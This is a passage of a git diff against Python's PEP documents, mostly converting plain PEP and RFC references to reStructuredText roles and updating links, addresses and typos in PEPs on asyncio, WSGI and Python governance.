PEP 8 guidance will be needed for CPython and the standard +However, explicit :pep:`8` guidance will be needed for CPython and the standard library, and that is discussed in the proposal above. @@ -719,7 +718,7 @@ Rejected Alternatives expressions to indicate a direct reference to the implied closure, thus preventing it from being called automatically to create the local namespace). All such attempts have appeared unattractive and confusing compared to - the simpler decorator-inspired proposal in PEP 403. + the simpler decorator-inspired proposal in :pep:`403`. Reference Implementation ======================== @@ -731,7 +730,7 @@ semantics and code compilation, feel free to try ;) TO-DO ===== -* Mention PEP 359 and possible uses for locals() in the ``given`` clause +* Mention :pep:`359` and possible uses for locals() in the ``given`` clause * Figure out if this can be used internally to make the implementation of zero-argument super() calls less awful diff --git a/pep-3151.txt b/pep-3151.txt index 644309341ce..749780bcc96 100644 --- a/pep-3151.txt +++ b/pep-3151.txt @@ -499,7 +499,8 @@ of finer-grained exception classes and the coalescing of OSError and IOError. The removal of WindowsError alone has been discussed and rejected -as part of another PEP [2]_, but there seemed to be a consensus that the +as part of :pep:`another PEP <348#removing-windowserror>`, +but there seemed to be a consensus that the distinction with OSError wasn't meaningful. This supports at least its aliasing with OSError. @@ -944,9 +945,6 @@ References .. [1] "IO module precisions and exception hierarchy": https://mail.python.org/pipermail/python-dev/2009-September/092130.html -.. [2] Discussion of "Removing WindowsError" in PEP 348: - http://www.python.org/dev/peps/pep-0348/#removing-windowserror - .. [3] Google Code Search of ``IOError`` in Python code: `around 40000 results `_; ``OSError``: `around 15200 results diff --git a/pep-3152.txt b/pep-3152.txt index 1fe27c316f5..46bcab5e362 100644 --- a/pep-3152.txt +++ b/pep-3152.txt @@ -24,7 +24,7 @@ symptoms. This proposal builds on the 'yield from' mechanism described in PEP 380, and describes some of the semantics of cofunctions in terms of it. However, it would be possible to define and implement cofunctions -independently of PEP 380 if so desired. +independently of :pep:`380` if so desired. Rejection --------- diff --git a/pep-3153.txt b/pep-3153.txt index bc7ba4b05b9..8256b066432 100644 --- a/pep-3153.txt +++ b/pep-3153.txt @@ -7,7 +7,7 @@ Status: Superseded Type: Standards Track Content-Type: text/x-rst Created: 29-May-2011 -Post-History: TBD +Post-History: Superseded-By: 3156 Abstract diff --git a/pep-3154.txt b/pep-3154.txt index 9e60e055d77..6454c24326e 100644 --- a/pep-3154.txt +++ b/pep-3154.txt @@ -8,8 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 11-Aug-2011 Python-Version: 3.4 -Post-History: - https://mail.python.org/pipermail/python-dev/2011-August/112821.html +Post-History: `12-Aug-2011 `__ Resolution: https://mail.python.org/pipermail/python-dev/2013-November/130439.html @@ -219,11 +218,11 @@ Acknowledgments In alphabetic order: -* Alexandre Vassalotti, for starting the second PEP 3154 implementation [6]_ +* Alexandre Vassalotti, for starting the second :pep:`3154` implementation [6]_ * Serhiy Storchaka, for discussing the framing proposal [6]_ -* Stefan Mihaila, for starting the first PEP 3154 implementation as a +* Stefan Mihaila, for starting the first :pep:`3154` implementation as a Google Summer of Code project mentored by Alexandre Vassalotti [7]_. diff --git a/pep-3156.txt b/pep-3156.txt index c6c81b5a358..e2b631756e0 100644 --- a/pep-3156.txt +++ b/pep-3156.txt @@ -4,7 +4,7 @@ Version: $Revision$ Last-Modified: $Date$ Author: Guido van Rossum BDFL-Delegate: Antoine Pitrou -Discussions-To: +Discussions-To: python-tulip@googlegroups.com Status: Final Type: Standards Track Content-Type: text/x-rst @@ -18,9 +18,9 @@ Abstract This is a proposal for asynchronous I/O in Python 3, starting at Python 3.3. Consider this the concrete proposal that is missing from -PEP 3153. The proposal includes a pluggable event loop, transport and +:pep:`3153`. The proposal includes a pluggable event loop, transport and protocol abstractions similar to those in Twisted, and a higher-level -scheduler based on ``yield from`` (PEP 380). The proposed package +scheduler based on ``yield from`` (:pep:`380`). The proposed package name is ``asyncio``. @@ -120,7 +120,7 @@ there is a system event loop that cannot be started or stopped; see The event loop API does not depend on ``await/yield from``. Rather, it uses a combination of callbacks, additional interfaces (transports and protocols), and Futures. The latter are similar to those defined in -PEP 3148, but have a different implementation and are not tied to +:pep:`3148`, but have a different implementation and are not tied to threads. In particular, the ``result()`` method raises an exception instead of blocking when a result is not yet ready; the user is expected to use callbacks (or ``await/yield from``) to wait for the result. @@ -135,7 +135,7 @@ coroutine or a Future into a Future.) For users (like myself) who don't like using callbacks, a scheduler is provided for writing asynchronous I/O code as coroutines using the PEP -380 ``yield from`` or PEP 492 ``await`` expressions. +380 ``yield from`` or :pep:`492` ``await`` expressions. The scheduler is not pluggable; pluggability occurs at the event loop level, and the standard scheduler implementation should work with any conforming event loop @@ -159,7 +159,7 @@ A less ambitious framework may just call the implementing its own event loop. The event loop API provides limited interoperability with threads: -there is an API to submit a function to an executor (see PEP 3148) +there is an API to submit a function to an executor (see :pep:`3148`) which returns a Future that is compatible with the event loop, and there is a method to schedule a callback with an event loop from another thread in a thread-safe manner. @@ -499,7 +499,7 @@ shared state isn't changed by another callback. clock. This may be ``time.time()`` or ``time.monotonic()`` or some other system-specific clock, but it must return a float expressing the time in units of approximately one second since some epoch. - (No clock is perfect -- see PEP 418.) + (No clock is perfect -- see :pep:`418`.) Note: A previous version of this PEP defined a method named ``call_repeatedly()``, which promised to call a callback at regular @@ -509,7 +509,7 @@ easily be emulated using a callback that reschedules itself using ``call_later()``; it is also easy to write coroutine containing a loop and a ``sleep()`` call (a toplevel function in the module, see below). On the other hand, due to the complexities of accurate timekeeping -there are many traps and pitfalls here for the unaware (see PEP 418), +there are many traps and pitfalls here for the unaware (see :pep:`418`), and different use cases require different behavior in edge cases. It is impossible to offer an API for this purpose that is bullet-proof in all cases, so it is deemed better to let application designers decide @@ -531,7 +531,7 @@ Thread interaction below. - ``run_in_executor(executor, callback, *args)``. Arrange to call - ``callback(*args)`` in an executor (see PEP 3148). Returns an + ``callback(*args)`` in an executor (see :pep:`3148`). Returns an ``asyncio.Future`` instance whose result on success is the return value of that call. This is equivalent to ``wrap_future(executor.submit(callback, *args))``. If ``executor`` @@ -542,7 +542,7 @@ Thread interaction 5 threads in this case.) - ``set_default_executor(executor)``. Set the default executor used - by ``run_in_executor()``. The argument must be a PEP 3148 + by ``run_in_executor()``. The argument must be a :pep:`3148` ``Executor`` instance or ``None``, in order to reset the default executor. @@ -1069,11 +1069,11 @@ Futures ------- The ``asyncio.Future`` class here is intentionally similar to the -``concurrent.futures.Future`` class specified by PEP 3148, but there +``concurrent.futures.Future`` class specified by :pep:`3148`, but there are slight differences. Whenever this PEP talks about Futures or futures this should be understood to refer to ``asyncio.Future`` unless ``concurrent.futures.Future`` is explicitly mentioned. The supported -public API is as follows, indicating the differences with PEP 3148: +public API is as follows, indicating the differences with :pep:`3148`: - ``cancel()``. If the Future is already done (or cancelled), do nothing and return ``False``. Otherwise, this attempts to cancel @@ -1092,23 +1092,23 @@ public API is as follows, indicating the differences with PEP 3148: - ``result()``. Returns the result set with ``set_result()``, or raises the exception set with ``set_exception()``. Raises - ``CancelledError`` if cancelled. Difference with PEP 3148: This has + ``CancelledError`` if cancelled. Difference with :pep:`3148`: This has no timeout argument and does *not* wait; if the future is not yet done, it raises an exception. - ``exception()``. Returns the exception if set with ``set_exception()``, or ``None`` if a result was set with ``set_result()``. Raises ``CancelledError`` if cancelled. - Difference with PEP 3148: This has no timeout argument and does + Difference with :pep:`3148`: This has no timeout argument and does *not* wait; if the future is not yet done, it raises an exception. - ``add_done_callback(fn)``. Add a callback to be run when the Future becomes done (or is cancelled). If the Future is already done (or cancelled), schedules the callback to using ``call_soon()``. - Difference with PEP 3148: The callback is never called immediately, + Difference with :pep:`3148`: The callback is never called immediately, and always in the context of the caller -- typically this is a thread. You can think of this as calling the callback through - ``call_soon()``. Note that in order to match PEP 3148, the callback + ``call_soon()``. Note that in order to match :pep:`3148`, the callback (unlike all other callbacks defined in this PEP, and ignoring the convention from the section "Callback Style" below) is always called with a single argument, the Future object. (The motivation for @@ -1116,18 +1116,18 @@ public API is as follows, indicating the differences with PEP 3148: applies here too.) - ``remove_done_callback(fn)``. Remove the argument from the list of - callbacks. This method is not defined by PEP 3148. The argument + callbacks. This method is not defined by :pep:`3148`. The argument must be equal (using ``==``) to the argument passed to ``add_done_callback()``. Returns the number of times the callback was removed. - ``set_result(result)``. The Future must not be done (nor cancelled) already. This makes the Future done and schedules the callbacks. - Difference with PEP 3148: This is a public API. + Difference with :pep:`3148`: This is a public API. - ``set_exception(exception)``. The Future must not be done (nor cancelled) already. This makes the Future done and schedules the - callbacks. Difference with PEP 3148: This is a public API. + callbacks. Difference with :pep:`3148`: This is a public API. The internal method ``set_running_or_notify_cancel()`` is not supported; there is no way to set the running state. Likewise, @@ -1186,7 +1186,7 @@ There are some public functions related to Futures: it is returned unchanged; if it is a coroutine object, it wraps it in a Task (remember that ``Task`` is a subclass of ``Future``). -- ``asyncio.wrap_future(future)``. This takes a PEP 3148 Future +- ``asyncio.wrap_future(future)``. This takes a :pep:`3148` Future (i.e., an instance of ``concurrent.futures.Future``) and returns a Future compatible with the event loop (i.e., a ``asyncio.Future`` instance). @@ -1583,7 +1583,7 @@ A coroutine is a generator that follows certain conventions. For documentation purposes, all coroutines should be decorated with ``@asyncio.coroutine``, but this cannot be strictly enforced. -Coroutines use the ``yield from`` syntax introduced in PEP 380, +Coroutines use the ``yield from`` syntax introduced in :pep:`380`, instead of the original ``yield`` syntax. The word "coroutine", like the word "generator", is used for two @@ -1647,7 +1647,7 @@ package are provided: ``timeout``, if not ``None``, specifies a timeout for the overall operation; ``return_when``, specifies when to stop. The constants ``FIRST_COMPLETED``, ``FIRST_EXCEPTION``, ``ALL_COMPLETED`` are - defined with the same values and the same meanings as in PEP 3148: + defined with the same values and the same meanings as in :pep:`3148`: - ``ALL_COMPLETED`` (default): Wait until all Futures are done (or until the timeout occurs). @@ -1657,7 +1657,7 @@ package are provided: - ``FIRST_EXCEPTION``: Wait until at least one Future is done but not cancelled with an exception set. (The exclusion of cancelled - Futures from the condition is surprising, but PEP 3148 does it + Futures from the condition is surprising, but :pep:`3148` does it this way.) - ``asyncio.as_completed(fs, timeout=None)``. Returns an iterator whose @@ -1778,7 +1778,7 @@ Convenience Utilities --------------------- A few functions and classes are provided to simplify the writing of -basic stream-based clients and servers, such as FTP or HTTP. Thes +basic stream-based clients and servers, such as FTP or HTTP. These are: - ``asyncio.open_connection(host, port)``: A wrapper for @@ -2038,19 +2038,19 @@ status allows revising these decisions for Python 3.5.) References ========== -- PEP 492 describes the semantics of ``async/await``. +- :pep:`492` describes the semantics of ``async/await``. -- PEP 380 describes the semantics of ``yield from``. +- :pep:`380` describes the semantics of ``yield from``. - Greg Ewing's ``yield from`` tutorials: http://www.cosc.canterbury.ac.nz/greg.ewing/python/yield-from/yield_from.html -- PEP 3148 describes ``concurrent.futures.Future``. +- :pep:`3148` describes ``concurrent.futures.Future``. -- PEP 3153, while rejected, has a good write-up explaining the need +- :pep:`3153`, while rejected, has a good write-up explaining the need to separate transports and protocols. -- PEP 418 discusses the issues of timekeeping. +- :pep:`418` discusses the issues of timekeeping. - Tulip repo: http://code.google.com/p/tulip/ @@ -2068,7 +2068,7 @@ References Acknowledgments =============== -Apart from PEP 3153, influences include PEP 380 and Greg Ewing's +Apart from :pep:`3153`, influences include :pep:`380` and Greg Ewing's tutorial for ``yield from``, Twisted, Tornado, ZeroMQ, pyftpdlib, and wattle (Steve Dower's counter-proposal). My previous work on asynchronous support in the NDB library for Google App Engine provided diff --git a/pep-3333.txt b/pep-3333.txt index 7c67375d33d..d6d3dfa74d5 100644 --- a/pep-3333.txt +++ b/pep-3333.txt @@ -3,7 +3,7 @@ Title: Python Web Server Gateway Interface v1.0.1 Version: $Revision$ Last-Modified: $Date$ Author: P.J. Eby -Discussions-To: Python Web-SIG +Discussions-To: web-sig@python.org Status: Final Type: Informational Content-Type: text/x-rst @@ -12,10 +12,10 @@ Post-History: 26-Sep-2010, 04-Oct-2010 Replaces: 333 -Preface for Readers of PEP \333 -=============================== +Preface for Readers of PEP 333 +============================== -This is an updated version of PEP 333, modified slightly to improve +This is an updated version of :pep:`333`, modified slightly to improve usability under Python 3, and to incorporate several long-standing de facto amendments to the WSGI protocol. (Its code samples have also been ported to Python 3.) @@ -41,8 +41,8 @@ servers and Python web applications or frameworks, to promote web application portability across a variety of web servers. -Original Rationale and Goals (from PEP \333) -============================================ +Original Rationale and Goals (from PEP 333) +=========================================== Python currently boasts a wide variety of web application frameworks, such as Zope, Quixote, Webware, SkunkWeb, PSO, and Twisted Web -- to @@ -424,10 +424,11 @@ a block boundary.) return self def __next__(self): + data = self._next() if self.transform_ok: - return piglatin(self._next()) # call must be byte-safe on Py3 + return piglatin(data) # call must be byte-safe on Py3 else: - return self._next() + return data class Latinator: @@ -554,7 +555,7 @@ current request, whether the request was completed normally, or terminated early due to an application error during iteration or an early disconnect of the browser. (The ``close()`` method requirement is to support resource release by the application. This protocol is intended -to complement PEP 342's generator support, and other common iterables +to complement :pep:`342`'s generator support, and other common iterables with ``close()`` methods.) Applications returning a generator or other custom iterator **should not** @@ -573,7 +574,7 @@ attributes of the iterable returned by the application, unless it is an instance of a type specific to that server or gateway, such as a "file wrapper" returned by ``wsgi.file_wrapper`` (see `Optional Platform-Specific File Handling`_). In the general case, only -attributes specified here, or accessed via e.g. the PEP 234 iteration +attributes specified here, or accessed via e.g. the :pep:`234` iteration APIs are acceptable. @@ -808,7 +809,7 @@ The ``status`` argument is an HTTP "status" string like ``"200 OK"`` or ``"404 Not Found"``. That is, it is a string consisting of a Status-Code and a Reason-Phrase, in that order and separated by a single space, with no surrounding whitespace or other characters. -(See RFC 2616, Section 6.1.1 for more information.) The string +(See :rfc:`2616`, Section 6.1.1 for more information.) The string **must not** contain control characters, and must not be terminated with a carriage return, linefeed, or combination thereof. @@ -816,7 +817,7 @@ The ``response_headers`` argument is a list of ``(header_name, header_value)`` tuples. It must be a Python list; i.e. ``type(response_headers) is ListType``, and the server **may** change its contents in any way it desires. Each ``header_name`` must be a -valid HTTP header field-name (as defined by RFC 2616, Section 4.2), +valid HTTP header field-name (as defined by :rfc:`2616`, Section 4.2), without a trailing colon or other punctuation. Each ``header_value`` **must not** include *any* control characters, @@ -941,12 +942,13 @@ whose ``len()`` is 1, then the server can automatically determine ``Content-Length`` by taking the length of the first bytestring yielded by the iterable. -And, if the server and client both support HTTP/1.1 "chunked -encoding" [3]_, then the server **may** use chunked encoding to send +And, if the server and client both support HTTP/1.1 +:rfc:`"chunked encoding"<2616#section-3.6.1>`, +then the server **may** use chunked encoding to send a chunk for each ``write()`` call or bytestring yielded by the iterable, thus generating a ``Content-Length`` header for each chunk. This allows the server to keep the client connection alive, if it wishes -to do so. Note that the server **must** comply fully with RFC 2616 +to do so. Note that the server **must** comply fully with :rfc:`2616` when doing this, or else fall back to one of the other strategies for dealing with the absence of ``Content-Length``. @@ -1093,8 +1095,8 @@ all strings passed to or from the server must be of type ``str`` or object where a string object is required, is undefined. Note also that strings passed to ``start_response()`` as a status or -as response headers **must** follow RFC 2616 with respect to encoding. -That is, they must either be ISO-8859-1 characters, or use RFC 2047 +as response headers **must** follow :rfc:`2616` with respect to encoding. +That is, they must either be ISO-8859-1 characters, or use :rfc:`2047` MIME encoding. On Python platforms where the ``str`` or ``StringType`` type is in @@ -1201,8 +1203,8 @@ may be done in any of several ways: Note that these behavior restrictions do not apply for HTTP 1.0 requests, or for requests that are not directed to an application -object. For more information on HTTP 1.1 Expect/Continue, see RFC -2616, sections 8.2.3 and 10.1.1. +object. For more information on HTTP 1.1 Expect/Continue, see +:rfc:`2616`, sections 8.2.3 and 10.1.1. Other HTTP Features @@ -1215,13 +1217,14 @@ response. It is always possible for the application developer to add middleware components to supply additional features, so server/gateway developers should be conservative in their implementation. In a sense, a server should consider itself to be like an HTTP "gateway server", -with the application being an HTTP "origin server". (See RFC 2616, +with the application being an HTTP "origin server". (See :rfc:`2616`, section 1.3, for the definition of these terms.) However, because WSGI servers and applications do not communicate via -HTTP, what RFC 2616 calls "hop-by-hop" headers do not apply to WSGI +HTTP, what :rfc:`2616` calls "hop-by-hop" headers do not apply to WSGI internal communications. WSGI applications **must not** generate any -"hop-by-hop" headers [4]_, attempt to use HTTP features that would +:rfc:`"hop-by-hop" headers <2616#section-13.5.1>`, +attempt to use HTTP features that would require them to generate such headers, or rely on the content of any incoming "hop-by-hop" headers in the ``environ`` dictionary. WSGI servers **must** handle any supported inbound "hop-by-hop" headers @@ -1417,7 +1420,7 @@ simply restrict themselves to using only a standard "for" loop to iterate over any iterable returned by an application. This is the only way to ensure source-level compatibility with both the pre-2.2 iterator protocol (discussed further below) and "today's" iterator -protocol (see PEP 234). +protocol (see :pep:`234`). (Note that this technique necessarily applies only to servers, gateways, or middleware that are written in Python. Discussion of @@ -1597,7 +1600,7 @@ Questions and Answers iterable is garbage collected. The ``close()`` idiom allows an application to release critical resources at the end of a request, and it's forward-compatible with the support for try/finally in - generators that's proposed by PEP 325. + generators that's proposed by :pep:`325`. 4. Why is this interface so low-level? I want feature X! (e.g. cookies, sessions, persistence, ...) @@ -1762,13 +1765,7 @@ References (https://wiki.python.org/moin/WebProgramming) .. [2] The Common Gateway Interface Specification, v 1.1, 3rd Draft - (https://tools.ietf.org/html/draft-coar-cgi-v11-03) - -.. [3] "Chunked Transfer Coding" -- HTTP/1.1, section 3.6.1 - (http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.6.1) - -.. [4] "End-to-end and Hop-by-hop Headers" -- HTTP/1.1, Section 13.5.1 - (http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.5.1) + (https://datatracker.ietf.org/doc/html/draft-coar-cgi-v11-03) .. [5] mod_ssl Reference, "Environment Variables" (http://www.modssl.org/docs/2.8/ssl_reference.html#ToC25) @@ -1776,7 +1773,7 @@ References .. [6] Procedural issues regarding modifications to PEP \333 (https://mail.python.org/pipermail/python-dev/2010-September/104114.html) -.. [7] SVN revision history for PEP \3333, showing differences from PEP 333 +.. [7] SVN revision history for PEP 3333, showing differences from PEP 333 (http://svn.python.org/view/peps/trunk/pep-3333.txt?r1=84854&r2=HEAD) Copyright diff --git a/pep-8000.rst b/pep-8000.rst index b56c3cade80..a165bbb9e37 100644 --- a/pep-8000.rst +++ b/pep-8000.rst @@ -13,19 +13,19 @@ Abstract This PEP provides an overview of the selection process for a new model of Python language governance in the wake of `Guido's retirement `_. -Once the governance model is selected, it will be codified in PEP 13. +Once the governance model is selected, it will be codified in :pep:`13`. Here is a list of PEPs related to the governance model selection process. PEPs in the lower 8000s describe the general process for selecting a governance model. -* PEP 8001 - Python Governance Voting Process +* :pep:`8001` - Python Governance Voting Process This PEP describes how the vote for the new governance model will be conducted. It outlines the voting method, timeline, criteria for participation, and explicit list of eligible voters. -* PEP 8002 - Open Source Governance Survey +* :pep:`8002` - Open Source Governance Survey Surveys will be conducted of governance models for similar open source and free software projects, and summaries of these models will be outlined in @@ -41,7 +41,7 @@ differences in details (such as the size of a governing council) will be covered in the same PEP, rather than in potentially vote-splitting individual PEPs. -* PEP 8010 - The Technical Leader Governance Model +* :pep:`8010` - The Technical Leader Governance Model This PEP proposes a continuation of the singular technical project leader model. Also within scope is whether an advisory council aids @@ -49,13 +49,13 @@ PEPs. BDFL, nor members of such an advisory council. For that, see PEP 13. -* PEP 8011 - Python Governance Model Lead by Trio of Pythonistas +* :pep:`8011` - Python Governance Model Lead by Trio of Pythonistas This PEP describes a new model of Python governance lead by a Trio of Pythonistas (TOP). It describes the role and responsibilities of the Trio. - This PEP does *not* name members of the Trio. For that, see PEP 13. + This PEP does *not* name members of the Trio. For that, see :pep:`13`. -* PEP 8012 - The Community Governance Model +* :pep:`8012` - The Community Governance Model This is a placeholder PEP for a new model of Python governance based on consensus and voting, without the role of a centralized singular leader or a @@ -63,16 +63,16 @@ PEPs. decisions affecting the Python language. It also describes the criteria for voting eligibility. -* PEP 8013 - The External Governance Model +* :pep:`8013` - The External Governance Model This PEP describes a new model of Python governance based on an external council who are responsible for ensuring good process. Elected by the core development team, this council may reject proposals that are not sufficiently detailed, do not consider all affected users, or are not appropriate for the upcoming release. This PEP does *not* name members of - such a council. For that, see PEP 13. + such a council. For that, see :pep:`13`. -* PEP 8014 - The Commons Governance Model +* :pep:`8014` - The Commons Governance Model This PEP describes a new model of Python governance based on a council of elders who are responsible for ensuring a PEP is supported by a sufficient @@ -81,7 +81,7 @@ PEPs. rights and what a majority vote consists of. In stead this is determined by the council of elders on a case-by-case basis. -* PEP 8015 - Organization of the Python community +* :pep:`8015` - Organization of the Python community This PEP formalizes the current organization of the Python community and proposes 3 main changes: formalize the existing concept of @@ -89,7 +89,7 @@ PEPs. (Guido van Rossum) with a new "Python board" of 3 members which has limited roles, mostly decide how a PEP is approved (or rejected). -* PEP 8016 - The Steering Council Model +* :pep:`8016` - The Steering Council Model This PEP proposes a model of Python governance based around a steering council. The council has broad authority, which they seek diff --git a/pep-8001.rst b/pep-8001.rst index c128b0ca22f..15e1bba8524 100644 --- a/pep-8001.rst +++ b/pep-8001.rst @@ -5,15 +5,15 @@ Author: Brett Cannon , Donald Stufft , Eric Snow , Gregory P. Smith , - Łukasz Langa + Łukasz Langa , Mariatta , Nathaniel J. Smith , Pablo Galindo Salgado , Raymond Hettinger , - Tal Einat , + Tal Einat , Tim Peters , Zachary Ware -Status: Accepted +Status: Final Type: Process Content-Type: text/x-rst Created: 24-Aug-2018 @@ -26,7 +26,7 @@ This PEP outlines the process for how the new model of Python governance is selected, in the wake of `Guido's retirement `_. Once the model is chosen by the procedures outlined here, it will be codified -in PEP 13. +in :pep:`13`. Motivation and Rationale @@ -57,7 +57,7 @@ What are we voting for? ----------------------- We are voting to choose which governance PEP should be implemented by -the Python project. The list of candidate PEPs is listed in PEP 8000 +the Python project. The list of candidate PEPs is listed in :pep:`8000` and consists of all PEPs numbered in the 801X range. To ensure the vote is legitimate, the aforementioned PEPs must not be @@ -92,7 +92,7 @@ The vote will happen using a "private" poll on the will receive an email with a link allowing them to rank the PEPs in their order of preference. -The election will be supervised by Ee W. Durbin III, The PSF Director of Infrastructure. +The election will be supervised by Ee Durbin, The PSF Director of Infrastructure. The results of the election, including anonymized ballots, will be made public on December 17th, after the election has closed. @@ -106,7 +106,7 @@ Description of the poll:: This is the vote to choose how the CPython project will govern itself, now that Guido has announced his retirement as BDFL. For full details, see PEP + href="https://peps.python.org/pep-8001/">PEP 8001. Many discussions have occurred under the "governance" tag on discuss.python.org. @@ -156,13 +156,13 @@ Description of the poll:: Candidates (note: linebreaks are significant here):: - PEP 8010: The Technical Leader Governance Model (Warsaw) (changelog) - PEP 8011: Python Governance Model Lead by Trio of Pythonistas (Mariatta, Warsaw) (changelog) - PEP 8012: The Community Governance Model (Langa) (changelog) - PEP 8013: The External Council Governance Model (Dower) (changelog) - PEP 8014: The Commons Governance Model (Jansen) (changelog) - PEP 8015: Organization of the Python community (Stinner) (changelog) - PEP 8016: The Steering Council Model (Smith, Stufft) (changelog) + PEP 8010: The Technical Leader Governance Model (Warsaw) (changelog) + PEP 8011: Python Governance Model Lead by Trio of Pythonistas (Mariatta, Warsaw) (changelog) + PEP 8012: The Community Governance Model (Langa) (changelog) + PEP 8013: The External Council Governance Model (Dower) (changelog) + PEP 8014: The Commons Governance Model (Jansen) (changelog) + PEP 8015: Organization of the Python community (Stinner) (changelog) + PEP 8016: The Steering Council Model (Smith, Stufft) (changelog) Further discussion Options:: diff --git a/pep-8002.rst b/pep-8002.rst index 90e4c702088..db7388b31f8 100644 --- a/pep-8002.rst +++ b/pep-8002.rst @@ -1,8 +1,8 @@ PEP: 8002 Title: Open Source Governance Survey Author: Barry Warsaw , Łukasz Langa , - Antoine Pitrou , Doug Hellmann , - Carol Willing + Antoine Pitrou , Doug Hellmann , + Carol Willing Status: Active Type: Informational Content-Type: text/x-rst @@ -532,7 +532,7 @@ Controversial decision process The Technical Board occasionally approves Django Enhancement Proposals (DEPs) but those are rare. The DEP process is roughly modeled after PEPs and documented in `DEP 1 -`_. +`_. DEPs are mostly used to design major new features, but also for information on general guidelines and process. @@ -594,7 +594,7 @@ TypeScript The governance structure is not externally documented besides the `CONTRIBUTING.md -`_ +`_ document in the main TypeScript repository. Key people and their functions diff --git a/pep-8010.rst b/pep-8010.rst index 92eae7b7ea8..2983d2e9383 100644 --- a/pep-8010.rst +++ b/pep-8010.rst @@ -35,18 +35,18 @@ This PEP describes: * Any changes to the PEP process to fit the new governance model; This PEP does *not* name a new BDFL. Should this model be adopted, it -will be codified in PEP 13 along with the names of all officeholders +will be codified in :pep:`13` along with the names of all officeholders described in this PEP. PEP Rejection ============= -PEP 8010 was rejected `by a core developer vote +:pep:`8010` was rejected `by a core developer vote `__ -described in PEP 8001 on Monday, December 17, 2018. +described in :pep:`8001` on Monday, December 17, 2018. -PEP 8016 and the governance model it describes were chosen instead. +:pep:`8016` and the governance model it describes were chosen instead. Open discussion points @@ -58,7 +58,7 @@ lengths of service, and voting procedures. These will be codified by the time the PEP is ready to be voted on. The voting procedures and events described in this PEP will default to -the voting method specified in PEP 8001, although as that PEP is still +the voting method specified in :pep:`8001`, although as that PEP is still in discussion at the time of this writing, this is subject to change. It is allowed, and perhaps even expected, that as experience is gained @@ -205,7 +205,7 @@ to the committers discussion forum. Maybe we'll even have debates! This phase of the election runs for two weeks. Core developers then have three weeks to vote, using the process -described in PEP 8001. +described in :pep:`8001`. The Council of Pythonistas (CoP) @@ -233,7 +233,7 @@ popular vote getter shall serve for 2 years, and CoP member with the least number of votes shall serve initially for 1 year. All ties in voting will be broken with a procedure to be determined in -PEP 8001. +:pep:`8001`. The nomination and voting process is similar as with the GUIDO. There is a three-week nomination period, where self-nominations are allowed @@ -250,7 +250,7 @@ No confidence votes As mentioned above, the CoP may, by unanimous decision, initiate a vote of no-confidence in the GUIDO. This process should not be undertaken lightly, but once begun, it triggers up to two votes. In -both cases, voting is done by the same procedure as in PEP 8001, and +both cases, voting is done by the same procedure as in :pep:`8001`, and all core developers may participate in no confidence votes. The first vote is whether to recall the current GUIDO or not. Should @@ -301,7 +301,7 @@ Version 2 - Renamed to "The Technical Leader Governance Model" - "singular leader" -> "singular technical leader" - - The adoption of PEP 8001 voting procedures is tentative until that + - The adoption of :pep:`8001` voting procedures is tentative until that PEP is approved - Describe what happens if the GUIDO steps down - Recall votes require a super majority of core devs to succeed diff --git a/pep-8011.rst b/pep-8011.rst index d6fca8bdab4..b228e86d376 100644 --- a/pep-8011.rst +++ b/pep-8011.rst @@ -13,14 +13,14 @@ Abstract This PEP proposes a governance model for the Core Python development community, led by a trio of equally authoritative leaders. The Trio of Pythonistas (ToP, or simply Trio) is tasked with making final decisions for the language. -It differs from PEP 8010 by specifically not proposing a central singular leader, +It differs from :pep:`8010` by specifically not proposing a central singular leader, but instead a group of three people as the leaders. This PEP also proposes a formation of specialized workgroups to assist the leadership trio in making decisions. This PEP does *not* name the members of the Trio. Should this model be adopted, -it will be codified in PEP 13 along with the names of all officeholders +it will be codified in :pep:`13` along with the names of all officeholders described in this PEP. This PEP describes: @@ -35,11 +35,11 @@ This PEP describes: PEP Rejection ============= -PEP 8011 was rejected `by a core developer vote +:pep:`8011` was rejected `by a core developer vote `__ -described in PEP 8001 on Monday, December 17, 2018. +described in :pep:`8001` on Monday, December 17, 2018. -PEP 8016 and the governance model it describes were chosen instead. +:pep:`8016` and the governance model it describes were chosen instead. Open discussion points ====================== @@ -52,7 +52,7 @@ These will be codified by the time the PEP is ready to be voted on. It is allowed, and perhaps even expected, that as experience is gained with this model, these parameters may be tweaked in order to provide for a smoother governing process. The process for tweaking these parameters will generally -be the same voting process as described in PEP 8001. +be the same voting process as described in :pep:`8001`. Roles and responsibilities of the leadership trio @@ -84,7 +84,7 @@ decide whether a particular decision requires a PEP, and to resolve technical disputes in general. The trio's authority does not include changing the governance itself, or other non-technical disputes that may arise; these should be handled through the process described in -PEP 8001. +:pep:`8001`. What are NOT considered as the role responsibilities of the trio @@ -137,7 +137,7 @@ Only once this PEP is accepted, any active core developers (who are eligible to can submit nomination of groups of three. Once this PEP is accepted and core devs have submitted their nominations, voting -can begin, and the voting mechanism described in PEP 8001 will be used. +can begin, and the voting mechanism described in :pep:`8001` will be used. Qualities desired out of the trio: diff --git a/pep-8012.rst b/pep-8012.rst index 71b46954e68..f22ed48f5f0 100644 --- a/pep-8012.rst +++ b/pep-8012.rst @@ -10,11 +10,11 @@ Created: 03-Oct-2018 PEP Rejection ============= -PEP 8012 was rejected `by a core developer vote +:pep:`8012` was rejected `by a core developer vote `__ -described in PEP 8001 on Monday, December 17, 2018. +described in :pep:`8001` on Monday, December 17, 2018. -PEP 8016 and the governance model it describes were chosen instead. +:pep:`8016` and the governance model it describes were chosen instead. Abstract ======== @@ -27,7 +27,7 @@ the role of a centralized singular leader or a governing council. It describes how, when, and why votes are conducted for decisions affecting the Python language. It also describes the criteria for voting eligibility. -Should this model be adopted, it will be codified in PEP 13. +Should this model be adopted, it will be codified in :pep:`13`. This model can be affectionately called "The Least Worst Governance Model" by its property that while far from ideal, it's still the most @@ -194,7 +194,7 @@ others. Contributors and any workgroups in this model are self-selecting. the interests of a single person or a small group of people. **Proven** This model works. There is a number of large open-source projects -run this way (two of which, Rust and Django, are described in PEP 8002). +run this way (two of which, Rust and Django, are described in :pep:`8002`). ECMAScript and C++ are similarly developed. @@ -302,7 +302,7 @@ PEP, Enhanced ~~~~~~~~~~~~~ The PEP process is augmented with the following changes and clarifications -over information already present in PEP 1: +over information already present in :pep:`1`: * PEPs are not merged until the final decision is made on them; they are open pull requests on GitHub until that moment; @@ -463,7 +463,7 @@ conduct-wg@python.org. Acknowledgements ================ -Thank you to the authors of PEP 8002 which was a helpful resource in +Thank you to the authors of :pep:`8002` which was a helpful resource in 